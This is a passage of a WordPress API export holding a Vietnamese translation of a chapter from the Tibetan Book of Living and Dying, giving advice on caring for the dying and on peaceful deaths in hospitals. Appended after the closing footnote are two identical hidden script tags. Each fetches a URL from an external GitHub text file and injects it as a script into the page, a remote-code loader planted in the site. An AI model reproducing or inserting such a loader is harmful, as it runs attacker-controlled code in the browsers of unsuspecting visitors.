b\u00ecnh.<\/p>\n<p>Kh\u00f4ng ri\u00eang ng\u01b0\u1eddi s\u1eafp ch\u1ebft m\u00e0 to\u00e0n th\u1ec3 gia \u0111\u00ecnh c\u1ee7a ng\u01b0\u1eddi \u0111\u00f3 ph\u1ea3i h\u1ecdc c\u00e1ch bu\u00f4ng b\u1ecf. T\u1eebng ng\u01b0\u1eddi trong gia \u0111\u00ecnh c\u00f3 th\u1ec3 \u1edf giai \u0111o\u1ea1n ch\u1ea5p nh\u1eadn kh\u00e1c nhau, v\u00e0 \u0111i\u1ec1u n\u00e0y s\u1ebd ph\u1ea3i \u0111\u01b0\u1ee3c t\u00ednh t\u1edbi. M\u1ed9t trong nh\u1eefng th\u00e0nh t\u1ef1u l\u1edbn c\u1ee7a phong tr\u00e0o ch\u0103m s\u00f3c ng\u01b0\u1eddi s\u1eafp ch\u1ebft l\u00e0 th\u1eeba nh\u1eadn t\u1ea7m quan tr\u1ecdng c\u1ee7a vi\u1ec7c gi\u00fap cho to\u00e0n th\u1ec3 gia \u0111\u00ecnh \u0111\u1ed1i di\u1ec7n v\u1edbi n\u1ed7i ti\u1ebfc th\u01b0\u01a1ng c\u1ee7a h\u1ecd v\u00e0 b\u1ea5t an ninh c\u1ee7a h\u1ecd v\u1ec1 t\u01b0\u01a1ng lai. M\u1ed9t s\u1ed1 gia \u0111\u00ecnh ch\u1ed1ng l\u1ea1i vi\u1ec7c \u0111\u1ec3 ng\u01b0\u1eddi h\u1ecd y\u00eau m\u1ebfn ra \u0111i, ngh\u0129 r\u1eb1ng l\u00e0m nh\u01b0 v\u1eady l\u00e0 ph\u1ea3n b\u1ed9i, l\u00e0 d\u1ea5u hi\u1ec7u r\u1eb1ng h\u1ecd kh\u00f4ng y\u00eau \u0111\u1ee7 v\u1edbi ng\u01b0\u1eddi \u0111\u00f3. Christine Longaker b\u1ea3o nh\u1eefng gia \u0111\u00ecnh \u0111\u00f3 h\u00ecnh dung r\u1eb1ng h\u1ecd \u0111ang \u1edf v\u1ecb tr\u00ed c\u1ee7a ng\u01b0\u1eddi s\u1eafp ch\u1ebft. &#8220;T\u01b0\u1edfng t\u01b0\u1ee3ng b\u1ea1n \u0111ang \u0111\u1ee9ng tr\u00ean boong m\u1ed9t con t\u00e0u v\u01b0\u1ee3t \u0111\u1ea1i d\u01b0\u01a1ng, \u0111ang chu\u1ea9n b\u1ecb kh\u1edfi h\u00e0nh. B\u1ea1n nh\u00ecn l\u1ea1i tr\u00ean b\u1edd v\u00e0 th\u1ea5y t\u1ea5t c\u1ea3 gia \u0111\u00ecnh v\u00e0 b\u1ea1n b\u00e8 \u0111ang v\u1eaby ch\u00e0o t\u1ea1m bi\u1ec7t. B\u1ea1n kh\u00f4ng c\u00f3 ch\u1ecdn l\u1ef1a n\u00e0o v\u1ec1 vi\u1ec7c ra \u0111i, v\u00e0 con t\u1ea7u, \u0111\u00e3 r\u1eddi b\u1ebfn. B\u1ea1n mu\u1ed1n ng\u01b0\u1eddi b\u1ea1n y\u00eau m\u1ebfn v\u1eaby ch\u00e0o t\u1ea1m bi\u1ec7t b\u1ea1n th\u1ebf n\u00e0o? \u0110i\u1ec1u g\u00ec s\u1ebd gi\u00fap cho b\u1ea1n nhi\u1ec1u nh\u1ea5t trong cu\u1ed9c h\u00e0nh tr\u00ecnh c\u1ee7a b\u1ea1n?&#8221;<\/p>\n<p>Ngay c\u1ea3 vi\u1ec7c luy\u1ec7n t\u1eadp \u0111\u01a1n gi\u1ea3n nh\u01b0 th\u1ebf n\u00e0y c\u00f3 th\u1ec3 gi\u00fap r\u1ea5t nhi\u1ec1u trong vi\u1ec7c t\u1ea1o kh\u1ea3 n\u0103ng cho t\u1eebng ng\u01b0\u1eddi trong gia \u0111\u00ecnh theo c\u00e1ch ri\u00eang c\u1ee7a h\u1ecd \u0111\u1ec3 gi\u1ea3i quy\u1ebft v\u1edbi n\u1ed7i bu\u1ed3n c\u1ee7a vi\u1ec7c n\u00f3i l\u1eddi t\u1ea1m bi\u1ec7t.<\/p>\n<p>\u0110\u00f4i khi m\u1ecdi ng\u01b0\u1eddi h\u1ecfi t\u00f4i, &#8220;T\u00f4i n\u00ean n\u00f3i g\u00ec v\u1edbi con t\u00f4i v\u1ec1 c\u00e1i ch\u1ebft c\u1ee7a ng\u01b0\u1eddi th\u00e2n c\u1ee7a n\u00f3?&#8221; T\u00f4i n\u00f3i v\u1edbi h\u1ecd l\u00e0 nh\u1ea1y c\u1ea3m nh\u01b0ng n\u00f3i s\u1ef1 th\u1eadt. \u0110\u1eebng \u0111\u1ec3 tr\u1ebb con ngh\u0129 r\u1eb1ng ch\u1ebft l\u00e0 c\u00e1i g\u00ec \u0111\u00f3 l\u1ea1 k\u00ec hay kh\u1ee7ng khi\u1ebfp. \u0110\u1ec3 cho tr\u1ebb con tham d\u1ef1 nhi\u1ec1u nh\u1ea5t c\u00f3 th\u1ec3 v\u00e0o cu\u1ed9c s\u1ed1ng c\u1ee7a ng\u01b0\u1eddi s\u1eafp ch\u1ebft, v\u00e0 tr\u1ea3 l\u1eddi m\u1ed9t c\u00e1ch trung th\u1ef1c b\u1ea5t k\u00ec c\u00e2u h\u1ecfi n\u00e0o m\u00e0 \u0111\u1ee9a tr\u1ebb \u0111\u1eb7t ra. H\u1ed3n nhi\u00ean v\u00e0 b\u1ed9c tr\u1ef1c c\u1ee7a con tr\u1ebb th\u1ef1c t\u1ea1i c\u00f3 th\u1ec3 \u0111em l\u1ea1i s\u1ef1 d\u1ecbu d\u00e0ng, t\u01b0\u01a1i s\u00e1ng v\u00e0 th\u1eadm ch\u00ed \u0111\u00f4i khi c\u00f2n h\u00e0i h\u01b0\u1edbc trong n\u1ed7i \u0111au c\u1ee7a vi\u1ec7c ch\u1ebft. Khuy\u1ebfn kh\u00edch tr\u1ebb con c\u1ea7u nguy\u1ec7n cho ng\u01b0\u1eddi s\u1eafp ch\u1ebft, v\u00e0 do v\u1eady c\u1ea3m th\u1ea5y r\u1eb1ng n\u00f3 th\u1ef1c s\u1ef1 \u0111ang l\u00e0m c\u00e1i g\u00ec \u0111\u00f3 \u0111\u1ec3 gi\u00fap \u0111\u1ee1. V\u00e0 sau khi ch\u1ebft x\u1ea3y ra, ph\u1ea3i ch\u1eafc r\u1eb1ng b\u1ea1n cho \u0111\u1ee9a tr\u1ebb s\u1ef1 ch\u0103m ch\u00fa v\u00e0 th\u01b0\u01a1ng m\u1ebfn \u0111\u1eb7c bi\u1ec7t.<\/p>\n<p>&nbsp;<\/p>\n<p>H\u01af\u1edaNG T\u1edaI CH\u1ebeT AN B\u00ccNH<\/p>\n<p>Khi t\u00f4i ngh\u0129 tr\u1edf l\u1ea1i v\u1ec1 T\u00e2y T\u1ea1ng v\u00e0 ng\u01b0\u1eddi ch\u1ebft t\u00f4i \u0111\u00e3 ch\u1ee9ng ki\u1ebfn \u1edf \u0111\u00f3, t\u00f4i b\u1ecb \u1ea5n t\u01b0\u1ee3ng v\u1ec1 m\u00f4i tr\u01b0\u1eddng b\u00ecnh th\u1ea3n v\u00e0 h\u00e0i ho\u00e0 l\u00e0m sao xu\u1ea5t hi\u1ec7n xung quanh nhi\u1ec1u ng\u01b0\u1eddi trong s\u1ed1 h\u1ecd. Lo\u1ea1i m\u00f4i tr\u01b0\u1eddng nh\u01b0 v\u1eady, h\u1ee1i \u00f4i, th\u01b0\u1eddng thi\u1ebfu \u1edf ph\u01b0\u01a1ng T\u00e2y, nh\u01b0ng kinh nghi\u1ec7m t\u00f4i trong h\u01a1n hai m\u01b0\u01a1i n\u0103m qua \u0111\u00e3 ch\u1ec9 ra r\u1eb1ng n\u00f3 c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c t\u1ea1o ra, b\u1eb1ng t\u01b0\u1edfng t\u01b0\u1ee3ng. T\u00f4i c\u1ea3m th\u1ea5y r\u1eb1ng b\u1ea5t k\u00ec ch\u1ed7 n\u00e0o c\u00f3 th\u1ec3, m\u1ecdi ng\u01b0\u1eddi n\u00ean ch\u1ebft t\u1ea1i nh\u00e0, v\u00ec ch\u00ednh t\u1ea1i nh\u00e0 m\u00e0 \u0111a s\u1ed1 m\u1ecdi ng\u01b0\u1eddi c\u00f3 th\u1ec3 c\u1ea3m th\u1ea5y tho\u1ea3i m\u00e1i nh\u1ea5t. V\u00e0 ch\u1ebft an b\u00ecnh m\u00e0 c\u00e1c th\u1ea7y Ph\u1eadt gi\u00e1o khuy\u00ean, l\u00e0 d\u1ec5 \u0111\u1ea1t t\u1edbi nh\u1ea5t trong m\u00f4i tr\u01b0\u1eddng xung quanh quen thu\u1ed9c. Nh\u01b0ng n\u1ebfu ai \u0111\u00f3 ph\u1ea3i ch\u1ebft trong b\u1ec7nh vi\u1ec7n, c\u00f3 r\u1ea5t nhi\u1ec1u \u0111i\u1ec1u m\u00e0 b\u1ea1n, nh\u1eefng ng\u01b0\u1eddi y\u00eau, c\u00f3 th\u1ec3 l\u00e0m \u0111\u1ec3 l\u00e0m cho vi\u1ec7c ch\u1ebft \u0111\u00f3 \u0111\u01b0\u1ee3c d\u1ec5 d\u00e0ng v\u00e0 g\u00e2y h\u1ee9ng kh\u1edfi nh\u1ea5t c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c. Mang c\u00e2y, hoa, tranh, \u1ea3nh c\u1ee7a ng\u01b0\u1eddi y\u00eau, tranh tr\u1ebb c\u1ee7a con v\u00e0 ch\u00e1u v\u1ebd v\u00e0o, ho\u1eb7c \u0111em m\u00e1y ghi \u00e2m v\u1edbi c\u00e1c b\u0103ng nh\u1ea1c, ho\u1eb7c n\u1ebfu c\u00f3 th\u1ec3, \u0111em c\u1ea3 th\u1ee9c \u0103n nh\u00e0 l\u00e0m v\u00e0o. B\u1ea1n th\u1eadm ch\u00ed c\u00f2n c\u00f3 th\u1ec3 xin ph\u00e9p cho tr\u1ebb con \u0111\u1ebfn th\u0103m ho\u1eb7c cho ng\u01b0\u1eddi th\u00e2n \u1edf l\u1ea1i \u0111\u00eam trong b\u1ec7nh vi\u1ec7n.<\/p>\n<p>N\u1ebfu ng\u01b0\u1eddi s\u1eafp ch\u1ebft l\u00e0 Ph\u1eadt t\u1eed hay th\u00e0nh vi\u00ean c\u1ee7a \u0111\u1ee9c tin kh\u00e1c, b\u1ea1n b\u00e8 c\u00f3 th\u1ec3 l\u00e0m m\u1ed9t \u0111i\u1ec7n th\u1edd nh\u1ecf trong ph\u00f2ng v\u1edbi nh\u1eefng \u1ea3nh ho\u1eb7c tranh g\u00e2y h\u1ee9ng kh\u1edfi. T\u00f4i nh\u1edb \u0111\u1ebfn m\u1ed9t h\u1ecdc tr\u00f2 c\u1ee7a t\u00f4i, Reiner, ng\u01b0\u1eddi \u0111\u00e3 ch\u1ebft trong m\u1ed9t ph\u00f2ng ri\u00eang t\u1ea1i m\u1ed9t b\u1ec7nh vi\u1ec7n \u1edf Munich. M\u1ed9t \u0111i\u1ec7n th\u1edd \u0111\u00e3 \u0111\u01b0\u1ee3c t\u1ea1o ra cho anh \u1ea5y v\u1edbi h\u00ecnh c\u1ee7a th\u1ea7y anh \u1ea5y treo \u1edf \u0111\u00f3. T\u00f4i r\u1ea5t x\u00fac \u0111\u1ed9ng b\u1edfi \u0111i\u1ec1u \u0111\u00f3, v\u00e0 \u0111\u00e3 nh\u1eadn ra r\u1eb1ng Reiner \u0111\u00e3 \u0111\u01b0\u1ee3c gi\u00fap \u0111\u1ee1 s\u00e2u s\u1eafc bi\u1ebft bao b\u1edfi b\u1ea7u kh\u00f4ng kh\u00ed \u0111\u01b0\u1ee3c t\u1ea1o ra. Gi\u00e1o hu\u1ea5n Ph\u1eadt gi\u00e1o b\u1ea3o ch\u00fang ta n\u00ean l\u00e0m \u0111i\u1ec7n th\u1edd v\u1edbi nh\u1eefng \u0111\u1ed3 c\u00fang d\u01b0\u1eddng khi m\u1ed9t ng\u01b0\u1eddi s\u1eafp ch\u1ebft. Vi\u1ec7c th\u1ea5y s\u1ef1 s\u00f9ng k\u00ednh c\u1ee7a Reiner v\u00e0 an b\u00ecnh c\u1ee7a t\u00e2m tr\u00ed l\u00e0m cho t\u00f4i hi\u1ec3u \u0111\u01b0\u1ee3c \u0111i\u1ec1u n\u00e0y c\u00f3 th\u1ec3 trao quy\u1ec1n m\u1ea1nh m\u1ebd l\u00e0m sao, v\u00e0 n\u00f3 c\u00f3 th\u1ec3 gi\u00fap g\u00e2y h\u1ee9ng kh\u1edfi cho m\u1ecdi ng\u01b0\u1eddi \u0111\u1ec3 l\u00e0m cho vi\u1ec7c ch\u1ebft c\u1ee7a h\u1ecd th\u00e0nh qu\u00e1 tr\u00ecnh linh thi\u00eang.<\/p>\n<p>Khi m\u1ed9t ng\u01b0\u1eddi th\u00e2n r\u1ea5t g\u1ea7n v\u1edbi ch\u1ebft, t\u00f4i g\u1ee3i \u00fd r\u1eb1ng b\u1ea1n n\u00ean y\u00eau c\u1ea7u c\u00e1c nh\u00e2n vi\u00ean b\u1ec7nh vi\u1ec7n \u0111\u1eebng qu\u1ea5y r\u1ea7y ng\u01b0\u1eddi \u0111\u00f3 th\u01b0\u1eddng xuy\u00ean, v\u00e0 r\u1eb1ng h\u1ecd d\u1eebng l\u00e0m c\u00e1c x\u00e9t nghi\u1ec7m. T\u00f4i th\u01b0\u1eddng \u0111\u01b0\u1ee3c h\u1ecfi th\u00e1i \u0111\u1ed9 c\u1ee7a t\u00f4i l\u00e0 g\u00ec h\u01b0\u1edbng t\u1edbi s\u1ef1 ch\u1ebft trong c\u00e1c ph\u00f2ng h\u1ed1i s\u1ee9c c\u1ea5p c\u1ee9u. T\u00f4i ph\u1ea3i n\u00f3i r\u1eb1ng vi\u1ec7c \u1edf trong c\u00e1c ph\u00f2ng h\u1ed3i s\u1ee9c c\u1ea5p c\u1ee9u s\u1ebd l\u00e0m cho vi\u1ec7c ch\u1ebft an b\u00ecnh th\u00e0nh r\u1ea5t kh\u00f3 kh\u0103n; v\u00e0 kh\u00f3 cho ph\u00e9p th\u1ef1c h\u00e0nh t\u00e2m linh v\u00e0o l\u00fac ch\u1ebft. Khi m\u1ed9t ng\u01b0\u1eddi s\u1eafp ch\u1ebft, kh\u00f4ng c\u00f3 s\u1ef1 ri\u00eang t\u01b0: H\u1ecd b\u1ecb m\u00f3c v\u00e0o c\u00e1c m\u00e0n h\u00ecnh gi\u00e1m s\u00e1t, v\u00e0 n\u1ed7 l\u1ef1c l\u00e0m h\u1ecd t\u1ec9nh l\u1ea1i khi h\u1ecd ng\u1eebng th\u1edf hay tim ng\u1eebng \u0111\u1eadp. Kh\u00f4ng c\u00f3 c\u01a1 h\u1ed9i n\u00e0o cho vi\u1ec7c \u0111\u1ec3 th\u00e2n th\u1ec3 kh\u00f4ng b\u1ecb qu\u1ea5y r\u1ed1i trong th\u1eddi k\u00ec sau khi ch\u1ebft, nh\u01b0 c\u00e1c th\u1ea7y v\u1eabn khuy\u00ean.<\/p>\n<p>N\u1ebfu b\u1ea1n c\u00f3 th\u1ec3, b\u1ea1n n\u00ean b\u00e0n tr\u01b0\u1edbc v\u1edbi b\u00e1c s\u0129 \u0111\u1ec3 n\u00f3i cho khi n\u00e0o kh\u00f4ng c\u00f2n kh\u1ea3 n\u0103ng ph\u1ee5c h\u1ed3i cho ng\u01b0\u1eddi n\u00e0y, v\u00e0 th\u1ebf r\u1ed3i y\u00eau c\u1ea7u \u0111\u1ec3 h\u1ecd \u0111\u01b0\u1ee3c chuy\u1ec3n sang ph\u00f2ng ri\u00eang t\u01b0, n\u1ebfu ng\u01b0\u1eddi s\u1eafp ch\u1ebft mu\u1ed1n \u0111i\u1ec1u \u0111\u00f3, th\u00e1o g\u1ee1 h\u1ebft m\u00e1y m\u00f3c ki\u1ec3m so\u00e1t. Ph\u1ea3i ch\u1eafc r\u1eb1ng nh\u00e2n vi\u00ean b\u1ec7nh vi\u1ec7n bi\u1ebft v\u00e0 t\u00f4n tr\u1ecdng \u01b0\u1edbc nguy\u1ec7n c\u1ee7a ng\u01b0\u1eddi ch\u1ebft, \u0111\u1eb7c bi\u1ec7t n\u1ebfu ng\u01b0\u1eddi \u0111\u00f3 kh\u00f4ng mu\u1ed1n \u0111\u01b0\u1ee3c l\u00e0m t\u1ec9nh l\u1ea1i, v\u00e0 ph\u1ea3i ch\u1eafc r\u1eb1ng c\u00e1c nh\u00e2n vi\u00ean b\u1ec7nh vi\u1ec7n c\u0169ng bi\u1ebft \u0111\u1ec3 cho c\u00e1i x\u00e1c kh\u00f4ng b\u1ecb qu\u1ea5y r\u1ea7y sau khi ch\u1ebft c\u00e0ng l\u00e2u c\u00e0ng t\u1ed1t. T\u1ea5t nhi\u00ean trong b\u1ec7nh vi\u1ec7n hi\u1ec7n \u0111\u1ea1i kh\u00f4ng th\u1ec3 \u0111\u1ec3 c\u00e1i x\u00e1c m\u1ed9t m\u00ecnh l\u00e2u \u0111\u1ebfn ba ng\u00e0y nh\u01b0 th\u00f4ng l\u1ec7 \u1edf T\u00e2y T\u1ea1ng, nh\u01b0ng m\u1ecdi h\u1ed7 tr\u1ee3 v\u1ec1 im l\u1eb7ng v\u00e0 an b\u00ecnh n\u00ean \u0111\u01b0\u1ee3c trao cho ng\u01b0\u1eddi ch\u1ebft \u0111\u1ec3 gi\u00fap h\u1ecd b\u1eaft \u0111\u1ea7u cu\u1ed9c h\u00e0nh tr\u00ecnh c\u1ee7a h\u1ecd sau khi ch\u1ebft.<\/p>\n<p>C\u0169ng ph\u1ea3i th\u1eed v\u00e0 ch\u1eafc r\u1eb1ng trong khi m\u1ed9t ng\u01b0\u1eddi th\u1ef1c t\u1ea1i \u0111ang trong giai \u0111o\u1ea1n cu\u1ed1i c\u1ee7a vi\u1ec7c ch\u1ebft, m\u1ecdi vi\u1ec7c ti\u00eam ch\u00edch v\u00e0 c\u00e1c lo\u1ea1i th\u1ee7 t\u1ee5c x\u00e2m l\u1ea5n thu\u1ed9c b\u1ea5t k\u00ec lo\u1ea1i n\u00e0o ph\u1ea3i \u0111\u01b0\u1ee3c ngt ra. Nh\u1eefng \u0111i\u1ec1u n\u00e0y c\u00f3 th\u1ec3 g\u00e2y ra gi\u1eadn d\u1eef, kh\u00f3 ch\u1ecbu v\u00e0 \u0111au, v\u00e0 \u0111\u1ec3 cho t\u00e2m tr\u00ed c\u1ee7a ng\u01b0\u1eddi s\u1eafp ch\u1ebft l\u00e0 b\u00ecnh th\u1ea3n nh\u1ea5t c\u00f3 th\u1ec3 trong kho\u1ea3nh kh\u1eafc tr\u01b0\u1edbc ch\u1ebft, nh\u01b0 t\u00f4i s\u1ebd gi\u1ea3i th\u00edch chi ti\u1ebft v\u1ec1 sau, l\u00e0 tuy\u1ec7t \u0111\u1ed1i m\u1ea5u ch\u1ed1t.<\/p>\n<p>Ph\u1ea7n l\u1edbn m\u1ecdi ng\u01b0\u1eddi ch\u1ebft trong tr\u1ea1ng th\u00e1i v\u00f4 \u00fd th\u1ee9c. M\u1ed9t s\u1ef1 ki\u1ec7n m\u00e0 ch\u00fang ta bi\u1ebft \u0111\u01b0\u1ee3c t\u1eeb tr\u1ea3i nghi\u1ec7m c\u1eadn t\u1eed l\u00e0 \u1edf ch\u1ed7 c\u00e1c b\u1ec7nh nh\u00e2n h\u00f4n m\u00ea v\u00e0 ch\u1ebft c\u00f3 th\u1ec3 nh\u1eadn bi\u1ebft \u0111\u01b0\u1ee3c r\u1ea5t nhi\u1ec1u \u0111i\u1ec1u xung quanh h\u1ecd h\u01a1n l\u00e0 ch\u00fang ta nh\u1eadn ra. Nhi\u1ec1u ng\u01b0\u1eddi trong s\u1ed1 nh\u1eefng ng\u01b0\u1eddi \u0111\u00e3 tr\u1ea3i qua tr\u1ea3i nghi\u1ec7m c\u1eadn t\u1eed \u0111\u00e3 t\u01b0\u1eddng tr\u00ecnh l\u1ea1i kinh nghi\u1ec7m ngo\u00e0i th\u00e2n th\u1ec3, t\u1eeb \u0111\u00f3 h\u1ecd \u0111\u00e3 c\u00f3 kh\u1ea3 n\u0103ng cho nh\u1eefng th\u00f4ng tin chi ti\u1ebft ch\u00ednh x\u00e1c \u0111\u00e1ng ng\u1ea1c nhi\u00ean v\u1ec1 m\u00f4i tr\u01b0\u1eddng xung quanh h\u1ecd v\u00e0 th\u1eadm ch\u00ed, trong m\u1ed9t s\u1ed1 tr\u01b0\u1eddng h\u1ee3p v\u1ec1 nh\u1eefng ph\u00f2ng kh\u00e1c trong c\u00f9ng b\u1ec7nh vi\u1ec7n. \u0110i\u1ec1u n\u00e0y r\u00f5 r\u00e0ng ch\u1ec9 ra t\u1ea7m quan tr\u1ecdng c\u1ee7a vi\u1ec7c n\u00f3i chuy\u1ec7n t\u00edch c\u1ef1c v\u00e0 th\u01b0\u1eddng xuy\u00ean v\u1edbi ng\u01b0\u1eddi s\u1eafp ch\u1ebft hay v\u1edbi ng\u01b0\u1eddi \u0111ang trong tr\u1ea1ng th\u00e1i h\u00f4n m\u00ea. Ch\u0103m s\u00f3c m\u1ed9t c\u00e1ch c\u00f3 \u00fd th\u1ee9c, t\u1ec9nh t\u00e1o v\u00e0 y\u00eau th\u01b0\u01a1ng cho ng\u01b0\u1eddi s\u1eafp ch\u1ebft ph\u1ea3i \u0111\u01b0\u1ee3c ti\u1ebfp t\u1ee5c cho \u0111\u1ebfn kho\u1ea3nh kh\u1eafc cu\u1ed1i c\u1ee7a cu\u1ed9c \u0111\u1eddi ng\u01b0\u1eddi \u0111\u00f3, v\u00e0 nh\u01b0 t\u00f4i \u0111\u00e3 ch\u1ec9 ra, th\u1eadm ch\u00ed \u1edf b\u00ean ngo\u00e0i ch\u1ebft.<\/p>\n<p>M\u1ed9t \u0111i\u1ec1u t\u00f4i hi v\u1ecdng t\u1eeb cu\u1ed1n s\u00e1ch n\u00e0y l\u00e0 \u1edf ch\u1ed7 c\u00e1c b\u00e1c s\u0129 tr\u00ean to\u00e0n th\u1ebf gi\u1edbi n\u00ean coi tr\u1ecdng <em>c\u1ef1c k\u00ec nghi\u00eam t\u00fac<\/em> v\u1ec1 nhu c\u1ea7u cho ph\u00e9p ng\u01b0\u1eddi s\u1eafp ch\u1ebft \u0111\u01b0\u1ee3c ch\u1ebft trong im l\u1eb7ng v\u00e0 thanh b\u00ecnh. T\u00f4i mu\u1ed1n k\u00eau g\u1ecdi thi\u1ec7n ch\u00ed c\u1ee7a nh\u1eefng ng\u01b0\u1eddi l\u00e0m ngh\u1ec1 y, v\u00e0 hi v\u1ecdng g\u00e2y h\u1ee9ng kh\u1edfi \u0111i\u1ec1u n\u00e0y \u0111\u1ec3 t\u00ecm ra nhi\u1ec1u c\u00e1ch l\u00e0m cho vi\u1ec7c chuy\u1ec3n sang ch\u1ebft r\u1ea5t kh\u00f3 kh\u0103n th\u00e0nh d\u1ec5 d\u00e0ng, kh\u00f4ng \u0111au v\u00e0 an b\u00ecnh nh\u1ea5t c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c. Ch\u1ebft an b\u00ecnh th\u1ef1c s\u1ef1 l\u00e0 quy\u1ec1n con ng\u01b0\u1eddi b\u1ea3n ch\u1ea5t, c\u00f3 l\u1ebd c\u00f2n b\u1ea3n ch\u1ea5t h\u01a1n c\u1ea3 quy\u1ec1n b\u1ea7u c\u1eed hay quy\u1ec1n c\u00f4ng l\u00ed; n\u00f3 l\u00e0 quy\u1ec1n m\u00e0 theo \u0111\u00f3, m\u1ecdi truy\u1ec1n th\u1ed1ng t\u00f4n gi\u00e1o \u0111\u1ec1u cho ch\u00fang ta bi\u1ebft, r\u1ea5t nhi\u1ec1u \u0111i\u1ec1u ph\u1ee5 thu\u1ed9c v\u00e0o cho t\u01b0\u01a1ng lai t\u00e2m linh v\u00e0 m\u1ea1nh kho\u1ebb c\u1ee7a ng\u01b0\u1eddi s\u1eafp ch\u1ebft.<\/p>\n<p>Kh\u00f4ng c\u00f3 m\u00f3n qu\u00e0 t\u1eeb thi\u1ec7n n\u00e0o m\u00e0 b\u1ea1n c\u00f3 th\u1ec3 \u0111em cho ng\u01b0\u1eddi s\u1eafp ch\u1ebft l\u1edbn h\u01a1n vi\u1ec7c gi\u00fap cho ng\u01b0\u1eddi n\u00e0y \u0111\u01b0\u1ee3c ch\u1ebft y\u00ean l\u00e0nh.<\/p>\n<p>&nbsp;<\/p>\n<p>T\u1eeb \u201cS\u00e1ch T\u00e2y T\u1ea1ng v\u1ec1 s\u1ed1ng v\u00e0 ch\u1ebft\u201d, Ch.11 L\u1eddi khuy\u00ean t\u00e2m can cho ng\u01b0\u1eddi s\u1eafp ch\u1ebft<\/p>\n<p><a href=\"#_ednref1\" name=\"_edn1\">[i]<\/a> T\u00f4i m\u1ea1nh m\u1ebd khuy\u00ean \u0111\u1ecdc cu\u1ed1n s\u00e1ch chi ti\u1ebft c\u1ee7a b\u00e0 \u1ea5y v\u1ec1 c\u00e1ch ch\u0103m s\u00f3c cho ng\u01b0\u1eddi s\u1eafp ch\u1ebft, Facing Death and Finding Hope (Doubleday, 1997).<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>VI\u1ec6C DANG D\u1ede Lo \u00e2u kh\u00e1c c\u1ee7a ng\u01b0\u1eddi s\u1eafp ch\u1ebft th\u01b0\u1eddng l\u00e0 lo v\u1ec1 b\u1ecf l\u1ea1i vi\u1ec7c \u0111ang dang d\u1edf. C\u00e1c th\u1ea7y b\u1ea3o ch\u00fang ta &hellip; <\/p>\n","protected":false},"author":3,"featured_media":3774,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[66],"tags":[],"class_list":["post-3773","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cach-song-va-chet"],"_links":{"self":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts\/3773","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3773"}],"version-history":[{"count":3,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts\/3773\/revisions"}],"predecessor-version":[{"id":4761,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts\/3773\/revisions\/4761"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/media\/3774"}],"wp:attachment":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3773"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3773"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3773"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}